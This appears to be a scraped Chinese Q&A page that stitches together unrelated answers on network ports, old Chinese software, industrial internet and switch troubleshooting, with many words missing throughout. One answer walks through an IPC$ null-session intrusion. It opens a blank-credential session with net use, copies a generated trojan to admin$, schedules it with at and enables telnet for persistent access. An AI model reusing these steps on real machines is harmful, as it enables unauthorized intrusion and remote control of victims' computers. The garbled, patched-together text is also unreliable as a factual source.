sc防火墙，网页端口是什么？
在 技术中，端口（Port）大致有两种意思：一是物理意义上的端口，比如，ADSL Modem、集线器、交换机、路由器用于连接其他 设备的接口，如RJ-45端口、SC端口等等。二是逻辑意义上的端口，一般是指TCP/IP协议中的端口，端口号的范围从0到65535，比如用于浏览网页服务的80端口，用于FTP服务的21端口等等。我们这里将要介绍的就是逻辑意义上的端口。
查看端口
在Windows 2000/XP/Server 2003中要查看端口，可以使用Netstat命令：
依次点击“开始→运行”，键入“cmd”并回车，打开命令提示符窗口。在命令提示符状态下键入“netstat -a -n”，按下回车键后就可以看到以数字形式显示的TCP和UDP连接的端口号及状态。
关闭/开启端口
在介绍各种端口的作用前，这里先介绍一下在Windows中如何关闭/打开端口，因为默认的情况下，有很多不安全的或没有什么用的端口是开启的，比如Telnet服务的23端口、FTP服务的21端口、 TP服务的25端口、RPC服务的135端口等等。为了保证系统的安全性，我们可以通过下面的 来关闭/开启端口。
关闭端口
比如在Windows 2000/XP中关闭 TP服务的25端口，可以这样做：首先打开“控制面板”，双击“管理工具”，再双击“服务”。接着在打开的服务窗口中找到并双击“Simple Mail Transfer Protocol （ TP）”服务，单击“停止”按钮来停止该服务，然后在“启动类型”中选择“已禁用”，最后单击“确定”按钮即可。这样，关闭了 TP服务就相当于关闭了对应的端口。
开启端口
如果要开启该端口只要先在“启动类型”选择“自动”，单击“确定”按钮，再打开该服务，在“服务状态”中单击“启动”按钮即可启用该端口，最后，单击“确定”按钮即可。
提示：在Windows 98中没有“服务”选项，你可以使用防火墙的规则设置功能来关闭/开启端口。
端口分类
逻辑意义上的端口有多种分类标准，下面将介绍两种常见的分类：
1. 按端口号分布划分
（1）知名端口（Well-Known Ports）
知名端口即众所周知的端口号，范围从0到1023，这些端口号一般固定分配给一些服务。比如21端口分配给FTP服务，25端口分配给 TP（简单邮件传输协议）服务，80端口分配给HTTP服务，135端口分配给RPC（远程过程调用）服务等等。
（2）动态端口（Dynamic Ports）
动态端口的范围从1024到65535，这些端口号一般不固定分配给某个服务，也就是说许多服务都可以使用这些端口。只要运行的程序向系统提出访问 的申请，那么系统就可以从这些端口号中分配一个供该程序使用。比如1024端口就是分配给之一个向系统发出申请的程序。在关闭程序进程后，就会释放所占用的端口号。
不过，动态端口也常常被病毒木马程序所利用，如冰河默认连接端口是7626、WAY 2.4是8011、Netspy 3.0是7306、YAI病毒是1024等等。
2. 按协议类型划分
按协议类型划分，可以分为TCP、UDP、IP和ICMP（Internet控制消息协议）等端口。下面主要介绍TCP和UDP端口：
（1）TCP端口
TCP端口，即传输控制协议端口，需要在客户端和服务器之间建立连接，这样可以提供可靠的数据传输。常见的包括FTP服务的21端口，Telnet服务的23端口， TP服务的25端口，以及HTTP服务的80端口等等。
（2）UDP端口
UDP端口，即用户数据包协议端口，无需在客户端和服务器之间建立连接，安全性得不到保障。常见的有DNS服务的53端口，SNMP（简单 管理协议）服务的161端口， 使用的8000和4000端口等等。
常见 端口
有哪些没有十年以上网龄就不会知道的事情？
我来说说和软件相关的吧！
超级解霸：1997年的主流电脑配置已经可以用来播放VCD等视频光盘。也就在这年媒体播放器工具超级解霸 3.0 正式发布，独创“Direct CD-ROM”防死读技术是其一大特色。此后，很长一段时间内超级解霸在国内就是媒体播放工具的代名词，装机必备软件之一。但后续随着电影硬件的提升，MPC类开源播放器的问世，超级解霸开始没落，最后于2007年被暴风影音收购。
影音解码包：2002年随着 下载方式的兴起，影音播放开始成为电脑娱乐的重点，用户对播放器的需求开始旺盛。2003年中，以“风之铃音”开发的影音解码包（暴风影音，也是现在暴风影音的前身）为代表的整合式播放软件诞生，同期的还有由Silence 的名为My MPC精品DIY版的整合解码包也很受欢迎（这款解码包于2006停止更新，曾经和暴风影音合称为My MPC系列）。此后，曾参与这一解码包 的合作者DIO和Sdxy则继续了这项事业，分别发展成完美解码和终极解码两款产品，目前仍是广大影视爱好者必备的影音工具。
Foxmail：首款国产电邮工具，诞生1997年1月，Foxmail的之一个版本也是以英文版的形式推出。来年4月，Foxmail作者张小龙才正式推出 2.1中文版。2000年4月18日，张小龙以1200万元的价格把Foxmail卖给博大公司。这是国内首例免费软件被成功收购的案例，相信这给了当年不少软件开发者信心。2005年 3月16日Foxmail再次被腾讯收购。
蚂蚁：诞生于1998年的下载工具，他开创了国内两个先河：1、首款国产专业下载工具，也是首款支持多点续传的下载工具（可以说是中国 畸形的产物，有用过14K、28K、33K小猫的举手），功能上当时算是相当先进。2是首创了国产软件植入广告，没记错的话1999年8月，作者洪以容在软件界面上放置了广告条，此举当时受到了用户不小的质疑，经历了一场不小的风波。回头再看看现在，软件广告已是遍地开花。
CIH病毒：1999年4月26日，由台湾大学生陈盈豪 的病毒CIH首次大规模爆发。这是一宗大灾难，病毒经过 的传播，全球不计其数的电脑硬盘被垃圾数据覆盖，甚至破坏BIOS，无法启动。
冲击波病毒：除了CHI外，在2003年还有场波及全球的病毒爆发事件，也就是冲击波。冲击波病毒利用了Windows系统的安全漏洞-RPC（远程过程调用）接口中的缓冲区溢出可能允许执行代码。中招的电脑几乎无一例外的进入开机1分钟后重启的无限循环。此次事件彻底改变微软了Windows Update 更新机制，实现了自动更新功能，主动推送安全补丁的更新。
OICQ：你知道这是谁的前生吗？这是当年互联网巨无霸腾讯在1999年推出了之一个 版本，是模仿当年全球热门的即时通讯工具ICQ而来，就连OICQ这一名字也是模仿ICQ，在前面加了一个字母O。同年11月，OICQ注册用户数突破1万。
后续ICQ被美国在线（AOL）收购，之后AOL认为OICQ这一名称有侵权嫌疑，经过和腾讯交涉后，2000年小马哥决定更名，也就有了我们现在熟悉的 这一名称。另外想说一下AOL，这是个败家公司，无论哪个软件被它收购，最终都没好果子吃，要么没落、要么消亡，比如网景浏览器（netscape）、ICQ、Winamp等等。
MyIE和傲游:国内首款基于IE核心的多标签方式的浏览器，不仅以免费方式发布，更是开放源码，这在国内尚属先例。也正因为有了它的开源，才有了我们现在所熟知的MyIE2（即Maxthon的前身），它们都获益于MyIE的源代码。
傲游2004年前叫MyIE2，此后正式更名“Maxthon”，中文名“傲游”，继承了前辈的多种优点和特性，诸如多标签浏览，鼠标手势，广告弹窗过滤，超级拖拽等IE不具备的功能，随后成为当年网民们的首选浏览器。
Coolstreaming：提起PPS和PPLive相信大家都很熟悉，但是P2P 电视技术他俩并不是首创者，最多是先行者。最早利用P2P技术进行 视频播放的软件叫：Coolstreaming，它率先掀开了 视频播放的革命。Coolstreaming以P2P方式进行 直播，不再受限于服务器硬件和带宽。不过开创新革命的Coolstreaming非常短命，没多久就从人们的视线中消逝。1年后，也就是2005年，PPLive、PPS这对冤家正式问世。PPliv问世时办公地点在武汉，随后再搬迁到上海。
以上这些相信不是10年前的老网民是无法了解到的，有些估计即便是10年前的老网民可未必知道，个人作为软件行业的从业者希望本文能让大家对一些软件的来龙去脉有所了解。
感谢阅读，觉得回答好点个赞以资鼓励，更欢迎点击关注NB下载，谢谢！
怎么样和别人建立空连接？
139和445 端口默认是打开的 这是为文件共享与传输提供的建立IPC$空连接 在cmd下：net use \\IP\ipc$ "" /user:""（这一行命令中包含了3个空格）然后用new readmin这个软件生成木马 保存为 srv.exe copy srv.exe \\IP\admin$ （admin用户的c:\winnt\system32\） net time \\IP 查下时间 at \\127.0.0.1 11:00 srv.exe 在这个时间执行这个木马 这个木马这可以执行一次 你要还想长久的连接 那就开启他的telnet服务 首先设置他的服务为自启动再开启 sc config tlntsvr start= auto 改变启动类型为 自动sc start tlntsvr 启动 telnet 这里也可以使用 net Start不过现在的IPC$基本上被禁用了 就算你扫到端口别人还有防火墙 杀毒软件 当然你的木马也就显得没什么作用了
工业互联网是什么？
按照官方定义，工业互联网指的是之一代 信息技术与制造业深度融合的产物，是实现产业数字化、 化、智能化发展的重要基础设施，在中国“新基建”中属于新型通信基础设施的范畴，通过人、机、物的全面互联，全要素、全产业链、全价值链的全面链接，推动形成全新的工业生产制造和服务体系，成为工业经济转型升级的关键依托、重要途径、全新生态。
工业互联网是一项融合发展的技术，包含 、平台、安全三大体系，每个体系中都包含了提供各项硬件、软件及解决方案的工业互联网服务商，为企业或相关 机构提供整体解决方案。
自2012年工业互联网概念诞生至今，中国新成立的工业互联网服务商企业数据稳步上升，并在2017年达到顶峰。物联网智库数据显示，2015年至2018年中国每年新成立的工业互联网服务商数量超过20家；2020年至今，工业互联网服务商市场融资总额度超过20亿元人民币，且中国工业互联网平台数量已经超过600家，产业生态蓬勃发展。
就工业互联网所赋能的领域看，非常广泛，典型地诸如新能源、石油天然气、钢铁、电子制造、工程机械、环保、动力装备、化工等，不同行业在具体实践上会有一定差异，但从工业互联网总的服务定义看，其在赋能时包括了边缘层、 层、数据层、平台层、应用层等相关领域。
边缘层：主要是传感器、IoT设备供应商，解决的对原始工业行为的采集，具体技术手段包括了像机器视觉算法、工业数据平台、先进视觉传感器、精密驱控技术等；
层：主要解决数据传输需求，涵盖了工业领域的***、路由、布线等相关项目，尤其在5G技术成熟的背景下，5G+新技术、5G智能平台、5G先导应用等新的融合手段会更多地用于到工业互联网领域；
数据层：解决数据的存储、建模、分析、可视化等相关问题，通过数据层对原始工业行为的处理，会相应输出后续的生产决策，提高效率；
平台层：主要基于自身在特定领域的能力来服务相关企业，为企业快速改进现有业务系统，方便进行流程重组以适应企业自身的业务需求，降本增效；
应用层：特定应用领域的工业互联综合解决方案提供者，为企业搭建相关的工业saas平台、APP、应用软件等，帮助企业建立工业互联技术应用能力。
结合对上述工业互联网相关领域的认识，我们可以知道工业互联网在完成赋能时的流出主要是：工业行为或数据的采集（通过边缘层设备完成）→ 层工业数据传输（需搭建 基础设施）→对数据的存储及建模分析（需具备相关建模能力）→输出问题解决方案/效能提升方案。
这个过程中，工业企业往往需要借助外部服务商的辅助，可逐层搭建自己的工业互联应用体系，也可通过外部服务商的系统来发现自身问题，或者将整个工业互联应用需求整体外包出去，不管通过哪种方式，工业互联网的赋能最终落脚点都是通过对数据的分析处理，来发现生产中的问题，输出决策解决方案，最终服务于生产效能提升。
———————
上文来自微号<融象产盟APP>，文中部分内容来自亿欧智库所发布<2020工业互联网产业研究报告>，报告原文及更多工业互联网相关应用研报可关注公众号后台留言索取（免费赠送、交流学习）~
交换机故障怎么处理？
在交换机处理故障之前，需要分析交换机是硬件故障还是配置上的错误导致的故障。硬件故障可以通过观察设备的指示灯。至于配置上的错误导致的故障，需要逐步排查。下面，分享一下交换机处理Ping不通故障的流程和思路
故障分析Ping不通是指Ping报文在 中传输由于各种原因如链路故障、ARP学习失败等而接收不到所有Ping应答报文的现象。
Ping不通故障组网图
故障现象
SwitchA Ping不通SwitchD。
故障定位
如上图所示Ping操作涉及三个角色
源端Ping报文发起端SwitchA中间设备SwitchB和SwitchC目的端Ping报文接收端SwitchD当在源端SwitchA上直接Ping IP地址192.168.3.11不通时直接判定故障出现的原因比较困难。此时可以缩小故障范围在SwitchA上分别Ping SwitchB、SwitchC、SwitchD然后在SwitchB上分别Ping SwitchC、SwitchD依此类推最后可以判断出哪一段 出现故障。
以下述两种情况为例介绍Ping不通的故障定位 。
情况一：假设故障发生在SwitchA和SwitchB之间即SwitchA Ping SwitchB的IP地址192.168.1.11不通定位流程如下图所示其他直连网段Ping不通的故障处理 类似详细的定位 请参下图故障定位 。
情况二：假设SwitchA Ping SwitchB的IP地址192.168.1.11能通SwitchB Ping SwitchC的IP地址192.168.2.21能通但是SwitchA Ping SwitchC的IP地址192.168.2.21不通这种情况需要在SwitchA、SwitchB和SwicthC上做ICMP报文的流量统计进而判断流量是在哪丢弃的
故障定位
检查Ping命令是否合理
在SwitchA上检查是否执行了ping –f 192.168.1.11命令如果执行了此操作则ICMP报文发送的过程中不支持分片此时需要检查链路上出接口的MTU值。
检查配置是否正确
若PC直连交换机确保PC与所属VLAN配置的VLANIF IP地址为同一网段
若交换机与其他 设备直连确保两端设备接口类型、VLAN配置一致两端VLANIF IP地址为同一网段。执行命令display port vlan查看
检查物理链路状态是否正常
检查物理链路连接
查看设备接口指示灯状态如果是常灭说明无连接。此时需要更换接口或者网线再进行尝试。查看光纤或网线连接的接口和 要求的部署是否一致。如果不一致需要重新对接口进行部署。光纤所带的光模块波长参数需要一致光模块建议使用华为认证光模块。 如果是通过Eth-Trunk接口连接执行命令display eth-trunk trunk-id检查两端设备上Eth-Trunk中加入的物理成员接口数量是否一致如果不一致需要进行Eth-Trunk的重新配置。检查路由是否正常
如果和交换机连接的是终端设备检查终端设备上是否配置了正确的***地址。 如果和交换机连接的是交换机或路由设备检查设备上是否有正确的回程路由。在源端执行命令display ip routing-table ip-address检查有无到对端的路由。检查ARP学习是否正确
执行display arp all命令检查直连地址的ARP是否学习正常。
如果MAC ADDRESS显示的是MAC地址则代表ARP学习正确如果显示的是Incomplete表示当前表项为临时ARP表项尚未学习到ARP出现MAC地址后代表ARP学习完成。
检查是否配置黑名单
配置cpu-defend黑名单后设备将直接丢弃黑名单用户上送的报文。
通过display cpu-defend policy查看调用在全局或特定槽位的策略名然后通过display cpu-defend policy policy-name查看策略中是否配置黑名单Blacklist再通过display acl acl-number查看黑名单调用的ACL具体内容。
检查报文收发是否正常
如果通过以上步骤排查配置、链路、ARP表项和路由表项均正常但是仍然Ping不通接下来检查ICMP报文收发是否正常。
进行Ping操作时通过命令display icmp statistics查看ICMP报文的收发况ICMP Echo Request和ICMP Echo Reply报文收发是否一致是否存在checksum错误统计计数。
希望以上分析对你处理交换机故障有所帮助
